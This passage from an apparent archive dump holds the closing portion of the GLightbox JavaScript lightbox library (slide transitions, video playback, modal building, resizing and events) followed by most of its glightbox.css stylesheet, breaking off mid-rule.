var slideDesc = slide.querySelector('.gslide-description'); var prevData = { index: this.prevActiveSlideIndex, slide: this.prevActiveSlide, slideNode: this.prevActiveSlide, slideIndex: this.prevActiveSlide, slideConfig: isNil(this.prevActiveSlideIndex) ? null : this.elements[this.prevActiveSlideIndex].slideConfig, trigger: isNil(this.prevActiveSlideIndex) ? null : this.elements[this.prevActiveSlideIndex].node, player: this.getSlidePlayerInstance(this.prevActiveSlideIndex) }; var nextData = { index: this.index, slide: this.activeSlide, slideNode: this.activeSlide, slideConfig: this.elements[this.index].slideConfig, slideIndex: this.index, trigger: this.elements[this.index].node, player: this.getSlidePlayerInstance(this.index) }; if (slideMedia.offsetWidth > 0 && slideDesc) { hide(slideDesc); slideDesc.style.display = ''; } removeClass(slide, this.effectsClasses); if (first) { animateElement(slide, this.settings.cssEfects[this.settings.openEffect]["in"], function () { if (_this4.settings.autoplayVideos) { _this4.slidePlayerPlay(slide); } _this4.trigger('slide_changed', { prev: prevData, current: nextData }); if (isFunction(_this4.settings.afterSlideChange)) { _this4.settings.afterSlideChange.apply(_this4, [prevData, nextData]); } }); } else { var effectName = this.settings.slideEffect; var animIn = effectName !== 'none' ? this.settings.cssEfects[effectName]["in"] : effectName; if (this.prevActiveSlideIndex > this.index) { if (this.settings.slideEffect == 'slide') { animIn = this.settings.cssEfects.slideBack["in"]; } } animateElement(slide, animIn, function () { if (_this4.settings.autoplayVideos) { _this4.slidePlayerPlay(slide); } _this4.trigger('slide_changed', { prev: prevData, current: nextData }); if (isFunction(_this4.settings.afterSlideChange)) { _this4.settings.afterSlideChange.apply(_this4, [prevData, nextData]); } }); } setTimeout(function () { _this4.resize(slide); }, 100); addClass(slide, 'current'); } }, { key: "slideAnimateOut", value: function slideAnimateOut() { if (!this.prevActiveSlide) { return false; } var prevSlide = this.prevActiveSlide; removeClass(prevSlide, this.effectsClasses); addClass(prevSlide, 'prev'); var animation = this.settings.slideEffect; var animOut = animation !== 'none' ? this.settings.cssEfects[animation].out : animation; this.slidePlayerPause(prevSlide); this.trigger('slide_before_change', { prev: { index: this.prevActiveSlideIndex, slide: this.prevActiveSlide, slideNode: this.prevActiveSlide, slideIndex: this.prevActiveSlideIndex, slideConfig: isNil(this.prevActiveSlideIndex) ? null : this.elements[this.prevActiveSlideIndex].slideConfig, trigger: isNil(this.prevActiveSlideIndex) ? null : this.elements[this.prevActiveSlideIndex].node, player: this.getSlidePlayerInstance(this.prevActiveSlideIndex) }, current: { index: this.index, slide: this.activeSlide, slideNode: this.activeSlide, slideIndex: this.index, slideConfig: this.elements[this.index].slideConfig, trigger: this.elements[this.index].node, player: this.getSlidePlayerInstance(this.index) } }); if (isFunction(this.settings.beforeSlideChange)) { this.settings.beforeSlideChange.apply(this, [{ index: this.prevActiveSlideIndex, slide: this.prevActiveSlide, player: this.getSlidePlayerInstance(this.prevActiveSlideIndex) }, { index: this.index, slide: this.activeSlide, player: this.getSlidePlayerInstance(this.index) }]); } if (this.prevActiveSlideIndex > this.index && this.settings.slideEffect == 'slide') { animOut = this.settings.cssEfects.slideBack.out; } animateElement(prevSlide, animOut, function () { var container = prevSlide.querySelector('.ginner-container'); var media = prevSlide.querySelector('.gslide-media'); var desc = prevSlide.querySelector('.gslide-description'); container.style.transform = ''; media.style.transform = ''; removeClass(media, 'greset'); media.style.opacity = ''; if (desc) { desc.style.opacity = ''; } removeClass(prevSlide, 'prev'); }); } }, { key: "getAllPlayers", value: function getAllPlayers() { return this.videoPlayers; } }, { key: "getSlidePlayerInstance", value: function getSlidePlayerInstance(index) { var id = 'gvideo' + index; var videoPlayers = this.getAllPlayers(); if (has(videoPlayers, id) && videoPlayers[id]) { return videoPlayers[id]; } return false; } }, { key: "stopSlideVideo", value: function stopSlideVideo(slide) { if (isNode(slide)) { var node = slide.querySelector('.gvideo-wrapper'); if (node) { slide = node.getAttribute('data-index'); } } console.log('stopSlideVideo is deprecated, use slidePlayerPause'); var player = this.getSlidePlayerInstance(slide); if (player && player.playing) { player.pause(); } } }, { key: "slidePlayerPause", value: function slidePlayerPause(slide) { if (isNode(slide)) { var node = slide.querySelector('.gvideo-wrapper'); if (node) { slide = node.getAttribute('data-index'); } } var player = this.getSlidePlayerInstance(slide); if (player && player.playing) { player.pause(); } } }, { key: "playSlideVideo", value: function playSlideVideo(slide) { if (isNode(slide)) { var node = slide.querySelector('.gvideo-wrapper'); if (node) { slide = node.getAttribute('data-index'); } } console.log('playSlideVideo is deprecated, use slidePlayerPlay'); var player = this.getSlidePlayerInstance(slide); if (player && !player.playing) { player.play(); } } }, { key: "slidePlayerPlay", value: function slidePlayerPlay(slide) { var _this$settings$plyr$c; if (isMobile$1 && !((_this$settings$plyr$c = this.settings.plyr.config) !== null && _this$settings$plyr$c !== void 0 && _this$settings$plyr$c.muted)) { return; } if (isNode(slide)) { var node = slide.querySelector('.gvideo-wrapper'); if (node) { slide = node.getAttribute('data-index'); } } var player = this.getSlidePlayerInstance(slide); if (player && !player.playing) { player.play(); if (this.settings.autofocusVideos) { player.elements.container.focus(); } } } }, { key: "setElements", value: function setElements(elements) { var _this5 = this; this.settings.elements = false; var newElements = []; if (elements && elements.length) { each(elements, function (el, i) { var slide = new Slide(el, _this5, i); var data = slide.getConfig(); var slideInfo = extend({}, data); slideInfo.slideConfig = data; slideInfo.instance = slide; slideInfo.index = i; newElements.push(slideInfo); }); } this.elements = newElements; if (this.lightboxOpen) { this.slidesContainer.innerHTML = ''; if (this.elements.length) { each(this.elements, function () { var slide = createHTML(_this5.settings.slideHTML); _this5.slidesContainer.appendChild(slide); }); this.showSlide(0, true); } } } }, { key: "getElementIndex", value: function getElementIndex(node) { var index = false; each(this.elements, function (el, i) { if (has(el, 'node') && el.node == node) { index = i; return true; } }); return index; } }, { key: "getElements", value: function getElements() { var _this6 = this; var list = []; this.elements = this.elements ? this.elements : []; if (!isNil(this.settings.elements) && isArray(this.settings.elements) && this.settings.elements.length) { each(this.settings.elements, function (el, i) { var slide = new Slide(el, _this6, i); var elData = slide.getConfig(); var slideInfo = extend({}, elData); slideInfo.node = false; slideInfo.index = i; slideInfo.instance = slide; slideInfo.slideConfig = elData; list.push(slideInfo); }); } var nodes = false; var selector = this.getSelector(); if (selector) { nodes = document.querySelectorAll(this.getSelector()); } if (!nodes) { return list; } each(nodes, function (el, i) { var slide = new Slide(el, _this6, i); var elData = slide.getConfig(); var slideInfo = extend({}, elData); slideInfo.node = el; slideInfo.index = i; slideInfo.instance = slide; slideInfo.slideConfig = elData; slideInfo.gallery = el.getAttribute('data-gallery'); list.push(slideInfo); }); return list; } }, { key: "getGalleryElements", value: function getGalleryElements(list, gallery) { return list.filter(function (el) { return el.gallery == gallery; }); } }, { key: "getSelector", value: function getSelector() { if (this.settings.elements) { return false; } if (this.settings.selector && this.settings.selector.substring(0, 5) == 'data-') { return "*[".concat(this.settings.selector, "]"); } return this.settings.selector; } }, { key: "getActiveSlide", value: function getActiveSlide() { return this.slidesContainer.querySelectorAll('.gslide')[this.index]; } }, { key: "getActiveSlideIndex", value: function getActiveSlideIndex() { return this.index; } }, { key: "getAnimationClasses", value: function getAnimationClasses() { var effects = []; for (var key in this.settings.cssEfects) { if (this.settings.cssEfects.hasOwnProperty(key)) { var effect = this.settings.cssEfects[key]; effects.push("g".concat(effect["in"])); effects.push("g".concat(effect.out)); } } return effects.join(' '); } }, { key: "build", value: function build() { var _this7 = this; if (this.built) { return false; } var children = document.body.childNodes; var bodyChildElms = []; each(children, function (el) { if (el.parentNode == document.body && el.nodeName.charAt(0) !== '#' && el.hasAttribute && !el.hasAttribute('aria-hidden')) { bodyChildElms.push(el); el.setAttribute('aria-hidden', 'true'); } }); var nextSVG = has(this.settings.svg, 'next') ? this.settings.svg.next : ''; var prevSVG = has(this.settings.svg, 'prev') ? this.settings.svg.prev : ''; var closeSVG = has(this.settings.svg, 'close') ? this.settings.svg.close : ''; var lightboxHTML = this.settings.lightboxHTML; lightboxHTML = lightboxHTML.replace(/{nextSVG}/g, nextSVG); lightboxHTML = lightboxHTML.replace(/{prevSVG}/g, prevSVG); lightboxHTML = lightboxHTML.replace(/{closeSVG}/g, closeSVG); lightboxHTML = createHTML(lightboxHTML); document.body.appendChild(lightboxHTML); var modal = document.getElementById('glightbox-body'); this.modal = modal; var closeButton = modal.querySelector('.gclose'); this.prevButton = modal.querySelector('.gprev'); this.nextButton = modal.querySelector('.gnext'); this.overlay = modal.querySelector('.goverlay'); this.loader = modal.querySelector('.gloader'); this.slidesContainer = document.getElementById('glightbox-slider'); this.bodyHiddenChildElms = bodyChildElms; this.events = {}; addClass(this.modal, 'glightbox-' + this.settings.skin); if (this.settings.closeButton && closeButton) { this.events['close'] = addEvent('click', { onElement: closeButton, withCallback: function withCallback(e, target) { e.preventDefault(); _this7.close(); } }); } if (closeButton && !this.settings.closeButton) { closeButton.parentNode.removeChild(closeButton); } if (this.nextButton) { this.events['next'] = addEvent('click', { onElement: this.nextButton, withCallback: function withCallback(e, target) { e.preventDefault(); _this7.nextSlide(); } }); } if (this.prevButton) { this.events['prev'] = addEvent('click', { onElement: this.prevButton, withCallback: function withCallback(e, target) { e.preventDefault(); _this7.prevSlide(); } }); } if (this.settings.closeOnOutsideClick) { this.events['outClose'] = addEvent('click', { onElement: modal, withCallback: function withCallback(e, target) { if (!_this7.preventOutsideClick && !hasClass(document.body, 'glightbox-mobile') && !closest(e.target, '.ginner-container')) { if (!closest(e.target, '.gbtn') && !hasClass(e.target, 'gnext') && !hasClass(e.target, 'gprev')) { _this7.close(); } } } }); } each(this.elements, function (slide, i) { _this7.slidesContainer.appendChild(slide.instance.create()); slide.slideNode = _this7.slidesContainer.querySelectorAll('.gslide')[i]; }); if (isTouch$1) { addClass(document.body, 'glightbox-touch'); } this.events['resize'] = addEvent('resize', { onElement: window, withCallback: function withCallback() { _this7.resize(); } }); this.built = true; } }, { key: "resize", value: function resize() { var slide = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; slide = !slide ? this.activeSlide : slide; if (!slide || hasClass(slide, 'zoomed')) { return; } var winSize = windowSize(); var video = slide.querySelector('.gvideo-wrapper'); var image = slide.querySelector('.gslide-image'); var description = this.slideDescription; var winWidth = winSize.width; var winHeight = winSize.height; if (winWidth <= 768) { addClass(document.body, 'glightbox-mobile'); } else { removeClass(document.body, 'glightbox-mobile'); } if (!video && !image) { return; } var descriptionResize = false; if (description && (hasClass(description, 'description-bottom') || hasClass(description, 'description-top')) && !hasClass(description, 'gabsolute')) { descriptionResize = true; } if (image) { if (winWidth <= 768) { var imgNode = image.querySelector('img'); } else if (descriptionResize) { var descHeight = description.offsetHeight; var _imgNode = image.querySelector('img'); _imgNode.setAttribute('style', "max-height: calc(100vh - ".concat(descHeight, "px)")); description.setAttribute('style', "max-width: ".concat(_imgNode.offsetWidth, "px;")); } } if (video) { var ratio = has(this.settings.plyr.config, 'ratio') ? this.settings.plyr.config.ratio : ''; if (!ratio) { var containerWidth = video.clientWidth; var containerHeight = video.clientHeight; var divisor = containerWidth / containerHeight; ratio = "".concat(containerWidth / divisor, ":").concat(containerHeight / divisor); } var videoRatio = ratio.split(':'); var videoWidth = this.settings.videosWidth; var maxWidth = this.settings.videosWidth; if (isNumber(videoWidth) || videoWidth.indexOf('px') !== -1) { maxWidth = parseInt(videoWidth); } else { if (videoWidth.indexOf('vw') !== -1) { maxWidth = winWidth * parseInt(videoWidth) / 100; } else if (videoWidth.indexOf('vh') !== -1) { maxWidth = winHeight * parseInt(videoWidth) / 100; } else if (videoWidth.indexOf('%') !== -1) { maxWidth = winWidth * parseInt(videoWidth) / 100; } else { maxWidth = parseInt(video.clientWidth); } } var maxHeight = maxWidth / (parseInt(videoRatio[0]) / parseInt(videoRatio[1])); maxHeight = Math.floor(maxHeight); if (descriptionResize) { winHeight = winHeight - description.offsetHeight; } if (maxWidth > winWidth || maxHeight > winHeight || winHeight < maxHeight && winWidth > maxWidth) { var vwidth = video.offsetWidth; var vheight = video.offsetHeight; var _ratio = winHeight / vheight; var vsize = { width: vwidth * _ratio, height: vheight * _ratio }; video.parentNode.setAttribute('style', "max-width: ".concat(vsize.width, "px")); if (descriptionResize) { description.setAttribute('style', "max-width: ".concat(vsize.width, "px;")); } } else { video.parentNode.style.maxWidth = "".concat(videoWidth); if (descriptionResize) { description.setAttribute('style', "max-width: ".concat(videoWidth, ";")); } } } } }, { key: "reload", value: function reload() { this.init(); } }, { key: "updateNavigationClasses", value: function updateNavigationClasses() { var loop = this.loop(); removeClass(this.nextButton, 'disabled'); removeClass(this.prevButton, 'disabled'); if (this.index == 0 && this.elements.length - 1 == 0) { addClass(this.prevButton, 'disabled'); addClass(this.nextButton, 'disabled'); } else if (this.index === 0 && !loop) { addClass(this.prevButton, 'disabled'); } else if (this.index === this.elements.length - 1 && !loop) { addClass(this.nextButton, 'disabled'); } } }, { key: "loop", value: function loop() { var loop = has(this.settings, 'loopAtEnd') ? this.settings.loopAtEnd : null; loop = has(this.settings, 'loop') ? this.settings.loop : loop; return loop; } }, { key: "close", value: function close() { var _this8 = this; if (!this.lightboxOpen) { if (this.events) { for (var key in this.events) { if (this.events.hasOwnProperty(key)) { this.events[key].destroy(); } } this.events = null; } return false; } if (this.closing) { return false; } this.closing = true; this.slidePlayerPause(this.activeSlide); if (this.fullElementsList) { this.elements = this.fullElementsList; } if (this.bodyHiddenChildElms.length) { each(this.bodyHiddenChildElms, function (el) { el.removeAttribute('aria-hidden'); }); } addClass(this.modal, 'glightbox-closing'); animateElement(this.overlay, this.settings.openEffect == 'none' ? 'none' : this.settings.cssEfects.fade.out); animateElement(this.activeSlide, this.settings.cssEfects[this.settings.closeEffect].out, function () { _this8.activeSlide = null; _this8.prevActiveSlideIndex = null; _this8.prevActiveSlide = null; _this8.built = false; if (_this8.events) { for (var _key in _this8.events) { if (_this8.events.hasOwnProperty(_key)) { _this8.events[_key].destroy(); } } _this8.events = null; } var body = document.body; removeClass(html, 'glightbox-open'); removeClass(body, 'glightbox-open touching gdesc-open glightbox-touch glightbox-mobile gscrollbar-fixer'); _this8.modal.parentNode.removeChild(_this8.modal); _this8.trigger('close'); if (isFunction(_this8.settings.onClose)) { _this8.settings.onClose(); } var styles = document.querySelector('.gcss-styles'); if (styles) { styles.parentNode.removeChild(styles); } _this8.lightboxOpen = false; _this8.closing = null; }); } }, { key: "destroy", value: function destroy() { this.close(); this.clearAllEvents(); if (this.baseEvents) { this.baseEvents.destroy(); } } }, { key: "on", value: function on(evt, callback) { var once = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if (!evt || !isFunction(callback)) { throw new TypeError('Event name and callback must be defined'); } this.apiEvents.push({ evt: evt, once: once, callback: callback }); } }, { key: "once", value: function once(evt, callback) { this.on(evt, callback, true); } }, { key: "trigger", value: function trigger(eventName) { var _this9 = this; var data = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; var onceTriggered = []; each(this.apiEvents, function (event, i) { var evt = event.evt, once = event.once, callback = event.callback; if (evt == eventName) { callback(data); if (once) { onceTriggered.push(i); } } }); if (onceTriggered.length) { each(onceTriggered, function (i) { return _this9.apiEvents.splice(i, 1); }); } } }, { key: "clearAllEvents", value: function clearAllEvents() { this.apiEvents.splice(0, this.apiEvents.length); } }, { key: "version", value: function version() { return _version; } }]); return GlightboxInit; }(); function glightbox () { var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var instance = new GlightboxInit(options); instance.init(); return instance; } return glightbox; }))); css/glightbox.css 0000644 00000041734 14721212120 0010036 0 ustar 00 .glightbox-container { width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: 999999 !important; overflow: hidden; -ms-touch-action: none; touch-action: none; -webkit-text-size-adjust: 100%; -moz-text-size-adjust: 100%; -ms-text-size-adjust: 100%; text-size-adjust: 100%; -webkit-backface-visibility: hidden; backface-visibility: hidden; outline: none; } .glightbox-container.inactive { display: none; } .glightbox-container .gcontainer { position: relative; width: 100%; height: 100%; z-index: 9999; overflow: hidden; } .glightbox-container .gslider { -webkit-transition: -webkit-transform 0.4s ease; transition: -webkit-transform 0.4s ease; transition: transform 0.4s ease; transition: transform 0.4s ease, -webkit-transform 0.4s ease; height: 100%; left: 0; top: 0; width: 100%; position: relative; overflow: hidden; display: -webkit-box !important; display: -ms-flexbox !important; display: flex !important; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } .glightbox-container .gslide { width: 100%; position: absolute; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; opacity: 0; } .glightbox-container .gslide.current { opacity: 1; z-index: 99999; position: relative; } .glightbox-container .gslide.prev { opacity: 1; z-index: 9999; } .glightbox-container .gslide-inner-content { width: 100%; } .glightbox-container .ginner-container { position: relative; width: 100%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; max-width: 100%; margin: auto; height: 100vh; } .glightbox-container .ginner-container.gvideo-container { width: 100%; } .glightbox-container .ginner-container.desc-bottom, .glightbox-container .ginner-container.desc-top { -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; } .glightbox-container .ginner-container.desc-left, .glightbox-container .ginner-container.desc-right { max-width: 100% !important; } .gslide iframe, .gslide video { outline: none !important; border: none; min-height: 165px; -webkit-overflow-scrolling: touch; -ms-touch-action: auto; touch-action: auto; } .gslide:not(.current) { pointer-events: none; } .gslide-image { -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .gslide-image img { max-height: 100vh; display: block; padding: 0; float: none; outline: none; border: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; max-width: 100vw; width: auto; height: auto; -o-object-fit: cover; object-fit: cover; -ms-touch-action: none; touch-action: none; margin: auto; min-width: 200px; } .desc-top .gslide-image img, .desc-bottom .gslide-image img { width: auto; } .desc-left .gslide-image img, .desc-right .gslide-image img { width: auto; max-width: 100%; } .gslide-image img.zoomable { position: relative; } .gslide-image img.dragging { cursor: -webkit-grabbing !important; cursor: grabbing !important; -webkit-transition: none; transition: none; } .gslide-video { position: relative; max-width: 100vh; width: 100% !important; } .gslide-video .plyr__poster-enabled.plyr--loading .plyr__poster { display: none; } .gslide-video .gvideo-wrapper { width: 100%; /* max-width: 160vmin; */ margin: auto; } .gslide-video::before { content: ''; position: absolute; width: 100%; height: 100%; background: rgba(255, 0, 0, 0.34); display: none; } .gslide-video.playing::before { display: none; } .gslide-video.fullscreen { max-width: 100% !important; min-width: 100%; height: 75vh; } .gslide-video.fullscreen video { max-width: 100% !important; width: 100% !important; } .gslide-inline { background: #fff; text-align: left; max-height: calc(100vh - 40px); overflow: auto; max-width: 100%; margin: auto; } .gslide-inline .ginlined-content { padding: 20px; width: 100%; } .gslide-inline .dragging { cursor: -webkit-grabbing !important; cursor: grabbing !important; -webkit-transition: none; transition: none; } .ginlined-content { overflow: auto; display: block !important; opacity: 1; } .gslide-external { display: -webkit-box; display: -ms-flexbox; display: flex; width: 100%; min-width: 100%; background: #fff; padding: 0; overflow: auto; max-height: 75vh; height: 100%; } .gslide-media { display: -webkit-box; display: -ms-flexbox; display: flex; width: auto; } .zoomed .gslide-media { -webkit-box-shadow: none !important; box-shadow: none !important; } .desc-top .gslide-media, .desc-bottom .gslide-media { margin: 0 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; } .gslide-description { position: relative; -webkit-box-flex: 1; -ms-flex: 1 0 100%; flex: 1 0 100%; } .gslide-description.description-left, .gslide-description.description-right { max-width: 100%; } .gslide-description.description-bottom, .gslide-description.description-top { margin: 0 auto; width: 100%; } .gslide-description p { margin-bottom: 12px; } .gslide-description p:last-child { margin-bottom: 0; } .zoomed .gslide-description { display: none; } .glightbox-button-hidden { display: none; } /* * Description for mobiles * something like facebook does the description * for the photos */ .glightbox-mobile .glightbox-container .gslide-description { height: auto !important; width: 100%; position: absolute; bottom: 0; padding: 19px 11px; max-width: 100vw !important; -webkit-box-ordinal-group: 3 !important; -ms-flex-order: 2 !important; order: 2 !important; max-height: 78vh; overflow: auto !important; background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.75))); background: linear-gradient(to bottom, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.75) 100%); -webkit-transition: opacity 0.3s linear; transition: opacity 0.3s linear; padding-bottom: 50px; } .glightbox-mobile .glightbox-container .gslide-title { color: #fff; font-size: 1em; } .glightbox-mobile .glightbox-container .gslide-desc { color: #a1a1a1; } .glightbox-mobile .glightbox-container .gslide-desc a { color: #fff; font-weight: bold; } .glightbox-mobile .glightbox-container .gslide-desc * { color: inherit; } .glightbox-mobile .glightbox-container .gslide-desc .desc-more { color: #fff; opacity: 0.4; } .gdesc-open .gslide-media { -webkit-transition: opacity 0.5s ease; transition: opacity 0.5s ease; opacity: 0.4; } .gdesc-open .gdesc-inner { padding-bottom: 30px; } .gdesc-closed .gslide-media { -webkit-transition: opacity 0.5s ease; transition: opacity 0.5s ease; opacity: 1; } .greset { -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .gabsolute { position: absolute; } .grelative { position: relative; } .glightbox-desc { display: none !important; } .glightbox-open { overflow: hidden; } .gloader { height: 25px; width: 25px; -webkit-animation: lightboxLoader 0.8s infinite linear; animation: lightboxLoader 0.8s infinite linear; border: 2px solid #fff; border-right-color: transparent; border-radius: 50%; position: absolute; display: block; z-index: 9999; left: 0; right: 0; margin: 0 auto; top: 47%; } .goverlay { width: 100%; height: calc(100vh + 1px); position: fixed; top: -1px; left: 0; background: #000; will-change: opacity; } .glightbox-mobile .goverlay { background: #000; } .gprev, .gnext, .gclose { z-index: 99999; cursor: pointer; width: 26px; height: 44px; border: none; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; } .gprev svg, .gnext svg, .gclose svg { display: block; width: 25px; height: auto; margin: 0; padding: 0; } .gprev.disabled, .gnext.disabled, .gclose.disabled { opacity: 0.1; } .gprev .garrow, .gnext .garrow, .gclose .garrow { stroke: #fff; } .gbtn.focused { outline: 2px solid #0f3d81; } iframe.wait-autoplay { opacity: 0; } .glightbox-closing .gnext, .glightbox-closing .gprev, .glightbox-closing .gclose { opacity: 0 !important; } /*Skin */ .glightbox-clean .gslide-description { background: #fff; } .glightbox-clean .gdesc-inner { padding: 22px 20px; } .glightbox-clean .gslide-title { font-size: 1em; font-weight: normal; font-family: arial; color: #000; margin-bottom: 19px; line-height: 1.4em; } .glightbox-clean .gslide-desc { font-size: 0.86em; margin-bottom: 0; font-family: arial; line-height: 1.4em; } .glightbox-clean .gslide-video { background: #000; } .glightbox-clean .gprev, .glightbox-clean .gnext, .glightbox-clean .gclose { background-color: rgba(0, 0, 0, 0.75); border-radius: 4px; } .glightbox-clean .gprev path, .glightbox-clean .gnext path, .glightbox-clean .gclose path { fill: #fff; } .glightbox-clean .gprev { position: absolute; top: -100%; left: 30px; width: 40px; height: 50px; } .glightbox-clean .gnext { position: absolute; top: -100%; right: 30px; width: 40px; height: 50px; } .glightbox-clean .gclose { width: 35px; height: 35px; top: 15px; right: 10px; position: absolute; } .glightbox-clean .gclose svg { width: 18px; height: auto; } .glightbox-clean .gclose:hover { opacity: 1; } /*CSS Animations*/ .gfadeIn { -webkit-animation: gfadeIn 0.5s ease; animation: gfadeIn 0.5s ease; } .gfadeOut { -webkit-animation: gfadeOut 0.5s ease; animation: gfadeOut 0.5s ease; } .gslideOutLeft { -webkit-animation: gslideOutLeft 0.3s ease; animation: gslideOutLeft 0.3s ease; } .gslideInLeft { -webkit-animation: gslideInLeft 0.3s ease; animation: gslideInLeft 0.3s ease; } .gslideOutRight { -webkit-animation: gslideOutRight 0.3s ease; animation: gslideOutRight 0.3s ease; } .gslideInRight { -webkit-animation: gslideInRight 0.3s ease; animation: gslideInRight 0.3s ease; } .gzoomIn { -webkit-animation: gzoomIn 0.5s ease; animation: gzoomIn 0.5s ease; } .gzoomOut { -webkit-animation: gzoomOut 0.5s ease; animation: gzoomOut 0.5s ease; } @-webkit-keyframes lightboxLoader { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes lightboxLoader { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @-webkit-keyframes gfadeIn { from { opacity: 0; } to { opacity: 1; } } @keyframes gfadeIn { from { opacity: 0; } to { opacity: 1; } } @-webkit-keyframes gfadeOut { from { opacity: 1; } to { opacity: 0; } } @keyframes gfadeOut { from { opacity: 1; } to { opacity: 0; } } @-webkit-keyframes gslideInLeft { from { opacity: 0; -webkit-transform: translate3d(-60%, 0, 0); transform: translate3d(-60%, 0, 0); } to { visibility: visible; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); opacity: 1; } } @keyframes gslideInLeft { from { opacity: 0; -webkit-transform: translate3d(-60%, 0, 0); transform: translate3d(-60%, 0, 0); } to { visibility: visible; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); opacity: 1; } } @-webkit-keyframes gslideOutLeft { from { opacity: 1; visibility: visible; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } to { -webkit-transform: translate3d(-60%, 0, 0); transform: translate3d(-60%, 0, 0); opacity: 0; visibility: hidden; } } @keyframes gslideOutLeft { from { opacity: 1; visibility: visible; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } to { -webkit-transform: translate3d(-60%, 0, 0); transform: translate3d(-60%, 0, 0); opacity: 0; visibility: hidden; } } @-webkit-keyframes gslideInRight { from { opacity: 0; visibility: visible; -webkit-transform: translate3d(60%, 0, 0); transform: translate3d(60%, 0, 0); } to { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); opacity: 1; } } @keyframes gslideInRight { from { opacity: 0; visibility: visible; -webkit-transform: translate3d(60%, 0, 0); transform: translate3d(60%, 0, 0); } to { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); opacity: 1; } } @-webkit-keyframes gslideOutRight { from { opacity: 1; visibility: visible; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } to { -webkit-transform: translate3d(60%, 0, 0); transform: translate3d(60%, 0, 0); opacity: 0; } } @keyframes gslideOutRight { from { opacity: 1; visibility: visible; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } to { -webkit-transform: translate3d(60%, 0, 0); transform: translate3d(60%, 0, 0); opacity: 0; } } @-webkit-keyframes gzoomIn { from { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } to { opacity: 1; } } @keyframes gzoomIn { from { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } to { opacity: 1; } } @-webkit-keyframes gzoomOut { from { opacity: 1; } 50% { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } to { opacity: 0; } } @keyframes gzoomOut { from { opacity: 1; } 50% { opacity: 0; -webkit-transform: scale3d(0.3, 0.3, 0.3); transform: scale3d(0.3, 0.3, 0.3); } to { opacity: 0; } } @media (min-width: 769px) { .glightbox-container .ginner-container { width: auto; height: auto; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; } .glightbox-container .ginner-container.desc-top .gslide-description { -webkit-box-ordinal-group: 1; -ms-flex-order: 0; order: 0; } .glightbox-container .ginner-container.desc-top .gslide-image, .glightbox-container .ginner-container.desc-top .gslide-image img { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .glightbox-container .ginner-container.desc-left .gslide-description { -webkit-box-ordinal-group: 1; -ms-flex-order: 0; order: 0; } .glightbox-container .ginner-container.desc-left .gslide-image { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .gslide-image img { max-height: 97vh; max-width: 100%; } .gslide-image img.zoomable { cursor: -webkit-zoom-in; cursor: zoom-in; } .zoomed .gslide-image img.zoomable { cursor: -webkit-grab; cursor: grab; } .gslide-inline { max-height: 95vh; } .gslide-external { max-height: 100vh; } .gslide-description.description-left, .gslide-description.description-right { max-width: 275px; } .glightbox-open { height: auto; } .goverlay { background: rgba(0, 0, 0, 0.92); } .glightbox-clean .gslide-media { -webkit-box-shadow: 1px 2px 9px 0px rgba(0, 0, 0, 0.65); box-shadow: 1px 2px 9px 0px rgba(0, 0, 0, 0.65); } .glightbox-clean .description-left .gdesc-inner, .glightbox-clean .description-right .gdesc-inner { position: absolute; height: 100%; overflow-y: auto; } .glightbox-clean .gprev, .glightbox-clean .gnext, .glightbox-clean .gclose { background-color: rgba(0, 0, 0, 0.32); } .glightbox-clean .gprev:hover, .glightbox-clean .gnext:hover, .glightbox-clean .gclose:hover { background-color: rgba(0, 0, 0, 0.7); } .glightbox-clean .gprev { top: 45%; } .glightbox-clean .gnext { top: 45%; } } @media (min-width: 992px) { .glightbox-clean .gclose { opacity: 